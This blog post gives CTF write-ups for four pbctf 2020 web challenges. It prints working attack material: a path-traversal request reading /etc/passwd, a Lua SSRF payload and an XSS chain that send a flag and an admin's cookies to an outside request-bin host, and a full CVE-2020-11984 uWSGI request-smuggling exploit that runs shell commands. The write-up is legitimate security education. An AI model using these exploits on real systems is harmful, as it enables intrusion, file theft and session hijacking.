pbctf 2020 Writeups

Sun Dec 06 2020


pbctf 2020

This year, my team (Crusaders of Rust) played in perfect blue's inaugural CTF, and it was a ton of fun. As always, I focused on mainly web challenges, and they were very interesting! My teammates were super helpful, basically helping to finish my ideas and finalize exploits on every web challenge.

We ended up getting 11th place, which I think was pretty good when considering we only got one pwn and one rev. We missed solving two web challenges, r0bynotes (with 4 solves), and XSP (with 3 solves).

Well, onto the writeups.

Contents

Apoche 1

(web, 58 pts, 52 solves, "baby")

Apoche 1 was an interesting challenge where they say an old version of 'apoche' is being used. Checking online, I find nothing about 'apoche', and so I assume it has to be a custom web server binary. Going to the link, we see:

Going through all of the pages, there's nothing interesting to find. So, time to start some initial recon. My teammate helpfully remembered to check robots.txt (I always forget lol), and we discover the existence of a /secret/ directory.

User-agent: * Disallow: /secret/

In the secret folder, we find 6 text files, the most important of which, 5.txt, says:

2020-01-02 It's the second day of the NEW YEAER! quite exciting I just noticed somebody was trying to access my /var/www/secret data 😢 so I decided to filter out '/' and '.' characters in the beginning of the path. Maybe I should stop logging stuff here... not safe -- theKidOfArcrania

Hm, it looks like the author of the binary did some filtering with / and . characters. This has all the signs of a path / directory traversal attack. Playing around with the URL, we end up finding a way to leak arbitrary files.

bryce@server:~/CTFs/pbctf2020$ curl http://34.68.159.75:37173///..css/../../../../../etc/passwd --path-as-is root:x:0:0:root:/root:/bin/console daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin web:x:1000:1000::/home/web:/bin/sh

Now, with arbitrary file read, we tried examining various locations in the file system. One place to always check is /proc/self, to see if you can leak environment variables or cmdline arguments. The hint from before leads me to /proc/self/exe, which is a link that points to the currently running process. Requesting that link, and dumping the contents of the file, we grabbed the custom server binary.

bryce@server:~/CTFs/pbctf2020/web_apoche$ file exe exe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=b26109fa468be74ca8de6fea31f2f3bbdd45d5c6, for GNU/Linux 3.2.0, not stripped bryce@server:~/CTFs/pbctf2020/web_apoche$ strings exe | grep pbctf Btw, the first flag is pbctf{n0t_re4lly_apache_ap0che!}

And, we got the flag. Solving this challenge unlocked "Apoche II", the 2nd part of this challenge. But, since it was about pwning this custom web server binary, I didn't look into it.

pbctf{n0t_re4lly_apache_ap0che!}

Sploosh

(web, 156 pts, 76 solves)

In this challenge, we got first blood, 30 seconds before the other teams solved. It felt nice to be at the top of the leaderboard for those 30 seconds. Navigating to the website, we see:

Putting in a URL, we do get a request at the other end. However, we don't get the contents back from the website, only the "geometry" of the site. Not really sure what that means, but I assumed it was just the window size of the website. This looks to be some SSRF attack. The website provides the source code behind the scraper, and we see that it's written in PHP.

It has three files, api.php, flag.php, and index.php. Checking out flag.php, we see:

<?php $FLAG = getenv("FLAG"); $remote_ip = $_SERVER['REMOTE_ADDR']; if ($remote_ip === "172.16.0.13" || $remote_ip === '172.16.0.14') { echo $FLAG; } else { echo "No flag for you :)"; } ?>

So, it looks like we can get the flag by requesting flag.php only if we come from the local IPs. We can put

http://sploosh.chal.perfect.blue/flag.php

into the scraper, which does make the local request, but since it only prints out the geometry, we can't read the flag.

Checking out api.php, we see:

<?php error_reporting(0); header("Content-Type: application/json"); function fail() { echo "{}"; die(); } if (!isset($_GET['url'])) { fail(); } $url = $_GET['url']; if ($url === '') { fail(); } try { $json = file_get_contents("http://splash:8050/render.json?timeout=1&url=" . urlencode($url)); $out = array("geometry" => json_decode($json)->geometry); echo json_encode($out); } catch(Exception $e) { fail(); } ?>

Hm, it seems to use something called splash and render.json. It puts our url through urlencode, so anything we put (like url parameters, &, ?, etc) are correctly encoded. Then it gets the geometry from the json request, and returns that.

Looking online, we find the splash scraping API. At first, we thought that the solution would come from being able to leak data with the website's geometry somehow, or by changing the fields so that geometry corresponded to the HTML of the site.

But, looking at the API docs, I found the lua_source argument, which lets you execute a custom script. The example script provided is:

function main(splash, args) splash:go("http://example.com") splash:wait(0.5) local title = splash:evaljs("document.title") return {title=title} end

Now, how can we use this to get the flag? Well, the first idea is to just include the lua_source parameter in our URL, but since it's urlencoded, it doesn't get passed to splash. Then, I came up with the idea: why not use the splash scraper to make a request to the splash scraper again?

We first write a lua script that grabs the flag and makes a request with it:

function main(splash, args) assert(splash:go("http://172.16.0.14/flag.php")) assert(splash:wait(0.5)) splash:go("https://enqew6zn63kq.x.pipedream.net/" .. splash:html()) return { html = splash:html(), png = splash:png(), har = splash:har(), } end

Then, we urlencode the payload, and add it to http://splash:8050/execute?lua_source=. So, when the scraper accesses this website, it'll run our lua script, and make a request with our flag.

Sending over the URL:

http://splash:8050/execute?lua_source=function%20main(splash%2C%20args)%0A%20%20assert(splash%3Ago(%22http%3A%2F%2F172.16.0.14%2Fflag.php%22))%0A%20%20assert(splash%3Await(0.5))%0A%20%20splash%3Ago(%22https%3A%2F%2Fenqew6zn63kq.x.pipedream.net%2F%22%20..%20splash%3Ahtml())%0A%20%20return%20%7B%0A%20%20%20%20html%20%3D%20splash%3Ahtml()%2C%0A%20%20%20%20png%20%3D%20splash%3Apng()%2C%0A%20%20%20%20har%20%3D%20splash%3Ahar()%2C%0A%20%20%7D%0Aend

gives us the flag.

pbctf{1_h0p3_y0u_us3d_lua_f0r_th1s}

Simple Note

(web, 329 pts, 10 solves, "pwn?")

Simple Note was a very "interesting" challenge, in that the code was way too simple. The website brings you to a place where you can submit text.

Here's the source code provided:

import uuid import os import time from flask import Flask, request, flash, redirect, send_from_directory, url_for UPLOAD_FOLDER = '/tmp/notes' app = Flask(__name__) app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER @app.route('/notes/<filename>') def note(filename): return send_from_directory(app.config['UPLOAD_FOLDER'], filename, mimetype="text/plain") @app.route('/') def index(): if request.args.get('note') and len(request.args.get('note')) < 0x100: time.sleep(1) # ddos protection filename = uuid.uuid4().hex with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), "w") as f: f.write(request.args.get('note')) return redirect(url_for("note", filename=filename)) return ''' <!doctype html> <title>Create a note</title> <h1>Create a note</h1> <form> <textarea name=note></textarea> <input type=submit value=Upload> </form> '''

But, looking over the source code, we found no bugs. No path traversal bug since send_from_directory is secure, no file name shenanigans because it's randomized. So, I started combing over the other files provided.

The source code also had copies of the apache2 config, httpd.conf, and also Dockerfiles for the Docker containers. Running diff on the new config, we see:

This honestly doesn't look very interesting. It loads apache's uwsgi proxy modules to make all requests to / go to the uwsgi app at port 4444. uWSGI is named after the "Web Server Gateway Interface" and is often used to serve Python applications through the uwsgi protocol. It also loads the http2 module, which I thought was weird, but nothing struck me out as vulnerable.

Looking at the main Dockerfile for the app, we see:

FROM python:3.8.5-buster ARG FLAG RUN mkdir -p /app /tmp/notes COPY app.py /app/ COPY requirements.txt /app/ RUN echo $FLAG > /flag.txt WORKDIR /app RUN pip install -r requirements.txt RUN groupadd -r app && useradd --no-log-init -r -g app app RUN chown app:app /tmp/notes USER app EXPOSE 4444 CMD [ \ "uwsgi", "--puwsgi-socket", "0.0.0.0:4444", "--manage-script-name", "--mount", "/=app:app", "--mount", "=app:app", \ "--max-requests=50", "--min-worker-lifetime=15", "--max-worker-lifetime=30", "--reload-on-rss=512", "--worker-reload-mercy=10", \ "--master", "--enable-threads", "--vacuum", "--single-interpreter", "--die-on-term" \ ]

This shows us that the flag is located at /flag.txt. We also got the launch parameters for uwsgi, which look a little odd, but at the time I assumed that they were for load balancing. Well, with no obvious vulnerability, I started looking online for CVEs and research papers. Eventually, I found this, an article about CVE-2020-11984.

The most important message from the article is:

A malicious request can easily overflow pktsize (C) by sending a small amount of headers with a length that is close to the LimitRequestFieldSize default value of 8190... If UWSGI is explicitly configured in persistent mode (puwsgi), this can also be used to smuggle a second UWSGI request leading to remote code execution. (In its standard configuration UWSGI only supports a single request per connection, making request smuggling impossible)

The CVE documents a buffer overflow in an older version of apache2 (which was being used), that might lead to RCE through interpreting uWSGI packets. Unfortunately, there was no PoC to implement this CVE... CTF challenges where you have to implement n-days are always fun 🙃

Anyway, following the article, we find a GitHub doc about exploiting a public facing uWSGI server (in Chinese). However, we can just yoink their exploit script, which can be found here.

So, this exploit script helps create a payload to send to the server, but we still need to implement the CVE. I used the script to generate a payload that ran curl to a server, then created the following script:

import requests as r URL = "http://localhost:18888" #URL = "http://simplenote.chal.perfect.blue" n = -200 headers = { "A": "A"*(4096+n) } print(headers) req = r.post(URL, headers=headers, data=open("test.exp", "rb").read()*15) print(req.text)

This script sends a large header over (with n being a number to modify easily), then sends the exploit packet 15 times (just to be sure). I used a POST request, but anything would have worked. Sending this over to my local server, I get a request to my server.

Unfortunately, pointing this exploit to remote didn't work. After DMing an admin, they recommended trying to change the padding, so I randomly changed the padding. However, it didn't work until the admin's pushed another change to the app, making the exploit much more stable.

I used the Python script from the GitHub repo to run the command cat /flag.txt > /tmp/notes/strellicez, then, navigating to /notes/strellicez I get the flag.

pbctf{pwn1n6_ap4ch3_i5_St1ll w3b r1gh7?}

Third solve! After getting the flag, I decided to make a nicer script, and eventually realized that whatever change the admin's pushed made it so you don't even need any header spam.

Here's my full solve script.

import urllib.parse import socket # CVE-2020-11984 exploit script # for pbctf web challenge Simple Note HOST = "http://localhost:18888" #HOST = "http://simplenote.chal.perfect.blue" CMD = "cat /etc/passwd > /tmp/notes/passwd_note" url = urllib.parse.urlparse(HOST) host = "127.0.0.1" if url.netloc.split(":")[0] == "localhost" else socket.gethostbyname(url.netloc) port = url.port or 80 # taken from https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py def fromhex(data): padded = hex(data if isinstance(data, int) else len(data))[2:].rjust(4, '0') return bytes.fromhex(padded)[::-1] def generate_packet(cmd): packet = { 'SERVER_PROTOCOL': 'HTTP/1.1', 'REQUEST_METHOD': 'GET', 'PATH_INFO': "/nowhere", 'REQUEST_URI': "/nowhere", 'QUERY_STRING': "", 'SERVER_NAME': host, 'HTTP_HOST': host, 'UWSGI_FILE': f"exec://{cmd}", 'SCRIPT_NAME': "/nowhere" } pk = b'' for k, v in packet.items() if hasattr(packet, 'items') else packet: pk += fromhex(k) + k.encode('utf8') + fromhex(v) + v.encode('utf8') result = b'\x00' + fromhex(pk) + b'\x00' + pk return result packet = generate_packet(CMD) print(f"[!] Exploit packet generated! Length: {len(packet)}") conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((host, port)) http = b'GET / HTTP/1.1\r\n' http += b'Host: ' + url.netloc.encode() + b'\r\n' http += b'Content-Length: ' + str(len(packet)).encode() + b'\r\n' http += b'\r\n' http += packet conn.send(http) print(f"[!] Exploit packet sent!")

Ikea Name Generator

(web, 285 pts, 15 solves)

Ikea Name Generator was a very "scuffed" web challenge. The hardest part of this challenge was probably trying to encode the payload correctly. In the website, you can input your name to generate your own IKEA name. You could also report a URL to an admin. There was also a login page, but you needed a special cookie only the admin had.

So, the goal was obvious - XSS to leak cookie from admin, then login to get the flag.

There was a very simple XSS vector, we could just ask for any HTML to be encoded, and it would get rendered directly on the page. However, there was a problem - CSP.

Checking the CSP headers on the site, we see:

default-src 'none'; script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js; connect-src 'self'; frame-src 'self'; img-src 'self'; style-src 'self' https://maxcdn.bootstrapcdn.com/; base-uri 'none';

If you don't know, CSP stands for Content Security Policy, where the page can load scripts, styles, images, etc. from. Since script-src didn't contain unsafe-inline, we can't put our own script tag on the page. Google's CSP-Evaluator doesn't really see anything wrong with the CSP, so I assume that there's nothing wrong with bootstrapcdn or lodash.

Here's the source code of the website:

<!DOCTYPE HTML> <html> <head> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> <link rel="stylesheet" href="/app.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js"></script> </head> <body> <div class="container"> <div class="d-flex justify-content-end"> <a href="/login.php">Login</a> </div> <div class="d-flex justify-content-center"> <h1>IKEA name generator</h1> </div> <div class="d-flex justify-content-center"> <p>Wanna know your IKEA name?</p> </div> <div class="d-flex justify-content-center"> <div class="input-group"> <input id="input-name" value="&lt;h1&gt;yo&lt;/h1&gt;" class="form-control" placeholder="Enter your name here"/> <div class="input-group-append"> <button id="button-submit" class="btn">Submit</button> </div> </div> </div> </div> <br/> <br/> <br/> <div class="d-flex justify-content-center"> <div id="output"><h1>yo</h1>, your IKEA name is : </div> </div> <script src="/config.php?name=%3Ch1%3Eyo%3C%2Fh1%3E"></script> <script src="/app.js"></script> <div class="container"> <div class="d-flex justify-content-end"> Don't like your IKEA name? Report it&nbsp;<a href="/report.php">here</a>. </div> </div> <img id="tracking-pixel" width=1 height=1 src="/track.php"> </body> </html>

We see links to two scripts, config.php, and app.js. config.php takes a GET parameter, name, and then outputs a CONFIG object.

// http://ikea-name-generator.chal.perfect.blue/config.php?name=hello CONFIG = { url: "/get_name.php", name: "hello" }

Unfortunately, we can't escape the quotes to inject our own JavaScript here since our payload is encoded correctly. (or can we? check the sidenote at the end!)

app.js holds the client-side logic behind the app:

function createFromObject(obj) { var el = document.createElement("span"); for (var key in obj) { el[key] = obj[key] } return el } function generateName() { var default_config = { "style": "color: red;", "text": "Could not generate name" } var output = document.getElementById('output') var req = new XMLHttpRequest(); req.open("POST", CONFIG.url); req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded") req.onreadystatechange = function () { if (req.readyState === XMLHttpRequest.DONE) { if (req.status === 200) { var obj = JSON.parse(req.responseText); var config = _.merge(default_config, obj) sandbox = document.createElement("iframe") sandbox.src = "/sandbox.php" var el = createFromObject({ style: config.style, innerText: config.text }) output.appendChild(sandbox) sandbox.onload = function () { sandbox.contentWindow.output.appendChild(el) } } } } req.send("name=" + CONFIG.name) } window.onload = function() { document.getElementById("button-submit").onclick = function() { window.location = "/?name=" + document.getElementById("input-name").value } generateName(); }

The gist of app.js is that when generateName() is called, it makes a request to CONFIG.url with CONFIG.name, then merges the content with default_config, then places that into an iFrame pointed to /sandbox.php. Seems very contrived...

The last part of the HTML that seemed very suspicious was a tracking-pixel at /track.php. One thing to always remember when doing challenges: anything "extra" in a challenge that doesn't seem necessary probably is important in some way. Going to /track.php, we get redirected to a 404 page, http://ikea-name-generator.chal.perfect.blue/404.php?msg=Sorry,+this+page+is+unavailable., which just prints Sorry, this page is unavailable..

Hm... it looks like whatever we put in the msg parameter gets echoed out back to the page. My initial idea is to just place JS code in the msg parameter, then embed that using a script tag. Since it's on http://ikea-name-generator.chal.perfect.blue/, it should be allowed by CSP.

However, doing this gives us an error:

Damn, it looks like the 404.php just outputs text in mime type text/plain, so it won't be usable. However, this gives me an idea - if we can set CONFIG.url to point to 404.php, we can have it output whatever we want. Remember, in the CSP, connect-src is set to only self, so CONFIG.url has to point to some place on the website.

But if we don't have JS, how can we set CONFIG.url? The answer: DOM clobbering. DOM clobbering is an attack where you inject DOM objects into the page, and they change the execution flow of JavaScript? How? Well, for any HTML element on a page with an id, a corresponding variable is created on the page with that id. Something to note, this only holds if that variable name isn't set before.

For example, if a page has the HTML <div id="output"></div>, checking the variable name output in the developer console shows:

So, if we create an HTML element with the id of CONFIG, we can break the website. However, the CONFIG variable name is already defined, so this doesn't work. Unless...

If we comment out the rest of the page, config.php is never included, so CONFIG is never defined. If we do this, and also embed app.js, we change the CONFIG variable.

Now, how do we change CONFIG.url to point to a specific place? Well, we can exploit HTML collections. Following this article, if we do:

<a id="CONFIG"><a id="CONFIG" name="url" href="https://google.com">yo</a></a><!--

CONFIG.url gets set to https://google.com. How does this work? Well, if we check the value of CONFIG in the console, we see:

Multiple elements with the same id create an HTML collection where both their index and name get mapped to their HTML element. So, CONFIG.url points to the second HTML element with the url. Now, a elements have this special property, where running toString() on them returns their href.

So, with this method, we can set CONFIG.url to point to wherever we want (but it'll only work for a place on the website b/c of CSP). Now, if we include app.js right before the comment, it'll make a request to whatever url we want. Now, what can we do with this...

Well, the response is parsed as JSON and combined with default_config using lodash's _.merge. This introduces another vulnerability: prototype pollution. In JS, objects can have a prototype object which is basically the parent template where the object can inherit methods and properties from.

In app.js, an element is created using createFromObject and placed in the sandboxed iFrame:

var el = createFromObject({ style: config.style, innerText: config.text })

Since innerText is used, we can't inject HTML into the element. We need to be able to set innerHTML to get XSS on the sandbox object. Since a new object is created here from the prototype, what if we pollute the prototype of objects? Any properties we set on the prototype will be passed to its children.

So, our goal is to pollute the prototype of the base JS object to have innerHTML set by default. Our JSON is merged with default_config, so we can do default_config.constructor to get access to the base JS object. Then, we can do default_config.constructor.prototype to get access to its prototype. From there, we can set any property we want, like innerHTML, to have it passed down to any newly created objects.

Try running this in the console if you want to try it out:

let default_config = { "a": "b" }; default_config.constructor.prototype.innerHTML = "<h1>hello!</h1>"; console.log(({}).innerHTML); // outputs: <h1>hello!</h1>

So, the correct JSON payload would be:

{"constructor": {"prototype": {"innerHTML": "<h1>hello!</h1>"}}}

Again, we can use 404.php to have it output this JSON, then use DOM clobbering to have it request this url and get merged. So, our payload is:

<a id="CONFIG"><a id="CONFIG" name="url" href='http://ikea-name-generator.chal.perfect.blue/404.php?msg={"constructor":{"prototype":{"innerHTML":"<h1>hello!</h1>"}}}'>yo</a></a><script src="/app.js"></script><!--

Sending this, we see:

Right, now we have XSS in sandbox.php. What can we do with this? My first instinct was to run JS and exfiltrate the cookie, but CSP strikes again. But this time, there's a different CSP...

default-src 'none'; script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js; style-src 'self' https://maxcdn.bootstrapcdn.com/; connect-src https:; base-uri 'none';

Well, this time, angular is allowed to run. And now, our connect-src is any https: website. So, if we can somehow run JS code on the sandbox, we can send it over to our server easily. The problem is that script-src still doesn't let us run arbitrary JS...

angular.js is allowed in the CSP, so obviously it's a part of the solution. Let's try to get angular running in sandbox.php. sandbox.php doesn't include it in its source code, so we embed the script tag in our innerHTML payload. But, this doesn't work...

Unfortunately, you can't inject script tags dynamically through innerHTML. Script tags need to be there when the page loads, or need to be created dynamically through document.createElement. So, what do we do now?

Well, we can abuse the srcdoc attribute of an iFrame. The srcdoc attribute specifies the HTML content to show in the inner frame. So, if we inject an iFrame like:

<iframe srcdoc="<script src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js'></script>"></iframe>

we can get angular running in the frame.

This is when I started to have a ton of trouble with encoding and chaining all of the different payloads. But, let's skip that mess. With angular running in the frame, do we now have arbitrary JS execution? No.

Angular does allows for another web attack, template injection. Even with angular injected, the CSP is still too restrictive. One common payload is:

<div ng-app> {{ constructor.constructor("alert(1)")() }} </div>

but this requires angular to be able to evaluate code from strings, which is only given when unsafe-eval is allowed in the script-src. But, angular has event handlers. We might be able to get angular to run when something happens on the page, which hopefully will run code.

I was stuck here for a while as I couldn't get angular CSP bypasses to work. However, my teammate found this exploit:

<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

from this page. In this HTML, the angular in ng-focus is run when the textarea is focused, which should happen automatically because of the autofocus attribute. With this, we can try to modify the payload to get it to exfiltrate cookies.

He came up with the following script, which utilizes the DOM clobbering, prototype pollution, and angular template injection to steal the admin's cookies:

import urllib.parse import json host = 'http://ikea-name-generator.chal.perfect.blue/' frame = '<script src=\'https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js\'></script>' frame += '<div ng-app ng-csp><textarea autofocus ng-focus=&quot;$event.view.parent.parent.document.location=$event.view.name+$event.view.document.cookie&quot;></textarea></div>' prototype_exploit = { 'constructor': { 'prototype': { 'innerHTML': f'<iframe srcdoc="{frame}" name="https://enqew6zn63kq.x.pipedream.net/?"></iframe>' } } } prototype_url = host + '404.php?' + urllib.parse.urlencode({ 'msg': json.dumps(prototype_exploit) }) clobber_exploit = f"""<a id="CONFIG"> <a id="CONFIG" name="url" href="{prototype_url}"> yo </a> </a> <script src="/app.js"> </script><!--""" final_url = host + '?' + urllib.parse.urlencode({ 'name' : clobber_exploit}) print(final_url)

Probably the hardest part at this point was encoding everything correctly, as we had to chain all these exploits together into one URL that had all the correct quotes and apostrophes. This script helped make everything easier.

Running this, we get the following URL:

http://ikea-name-generator.chal.perfect.blue/?name=%3Ca+id%3D%22CONFIG%22%3E%0A++%3Ca+id%3D%22CONFIG%22+name%3D%22url%22+href%3D%22http%3A%2F%2Fikea-name-generator.chal.perfect.blue%2F404.php%3Fmsg%3D%257B%2522constructor%2522%253A%2B%257B%2522prototype%2522%253A%2B%257B%2522innerHTML%2522%253A%2B%2522%253Ciframe%2Bsrcdoc%253D%255C%2522%253Cscript%2Bsrc%253D%2527https%253A%252F%252Fcdnjs.cloudflare.com%252Fajax%252Flibs%252Fangular.js%252F1.8.2%252Fangular.js%2527%253E%253C%252Fscript%253E%253Cdiv%2Bng-app%2Bng-csp%253E%253Ctextarea%2Bautofocus%2Bng-focus%253D%2526quot%253B%2524event.view.parent.parent.document.location%253D%2524event.view.name%252B%2524event.view.document.cookie%2526quot%253B%253E%253C%252Ftextarea%253E%253C%252Fdiv%253E%255C%2522%2Bname%253D%255C%2522https%253A%252F%252Fenqew6zn63kq.x.pipedream.net%252F%253F%255C%2522%253E%253C%252Fiframe%253E%2522%257D%257D%257D%22%3E%0A++yo%0A++%3C%2Fa%3E%0A%3C%2Fa%3E%0A%3Cscript+src%3D%22%2Fapp.js%22%3E%0A%3C%2Fscript%3E%3C%21--

Setting a cookie to test, and navigating to that URL, we see our cookies exposed on our server. Now, if we report this URL to the admin, we see:

Now, setting this cookie and navigating to the login page, we get the flag.

pbctf{pr0t0typ3_p0llut10n_1s_4_f34tur3}

Sidenote, I just saw this amazing solution from another team that I definitely wanted to talk about. Using their payload, the URL I generated is:

http://ikea-name-generator.chal.perfect.blue/?name=%3Cscript%20src=%22config.php?name=%251b(J%2522%251b(B};{location.sdf=(`${atob(`aHR0cHM6Ly9lbnFldzZ6bjYza3EueC5waXBlZHJlYW0ubmV0Lw==`)}`%252bdocument.cookie)%0a};{a=%251b$Ba%22%20charset=ISO-2022-JP%3E%3C/script%3E%0A

This doesn't use prototype pollution, DOM clobbering, or template injection - it just relies on unicode and script tag charsets! The charset attribute of a script tag specifies the encoding used. Again, config.php works by taking the GET parameter, escaping it, and then placing it into the JS object.

Unfortunately, we can't get arbitrary code execution since we can't escape the quotes as they're escaped. However, I didn't realize that through abusing weird charsets, we can escape the quotes! The specific URL that they use for config.php is:

http://ikea-name-generator.chal.perfect.blue/config.php?name=%1b(J%22%1b(B};{location.href=(`${atob(`aHR0cHM6Ly9lbnFldzZ6bjYza3EueC5waXBlZHJlYW0ubmV0Lw==`)}`%2bdocument.cookie)};{a=%1b$Ba

When viewing this normally, the page looks like this:

CONFIG = { url: "/get_name.php", name: "(J\"(B};{location.href=(`${atob(`Ly9tb2Nvcy5raXRjaGVuOjgwODAv`)}`+document.cookie)};{a=$Ba" }

But, this is injected in a script tag with charset ISO-2022-JP! When this is interpreted with this charset, we find the code transforms to:

CONFIG = { url: "/get_name.php", name: "Â¥"};{location.href=(`${atob(`aHR0cHM6Ly9lbnFldzZ6bjYza3EueC5waXBlZHJlYW0ubmV0Lw==`)}`+document.cookie)};{a=ç“£ }

This script is included in the page, and the admin is redirected to their server with the cookie! This was probably found through fuzzing different charsets, but I thought this was just super cool. The escaped slash gets swallowed up encoding the symbols, so this charset allowed the author to escape the quotes and write their own payload. Super cool.


This CTF was a ton of fun and I learned a lot. I did make some progress on XSP (but getting xs-leaks working correctly evades me for the 3rd time), and learned some Ruby for the first time from r0bynotes. My teammates this year were super amazing, and incredibly helpful in researching, investigating, and debugging when the shit I did went wrong. Special thanks to perfect blue for hosting a great CTF, and I hope to do well next year!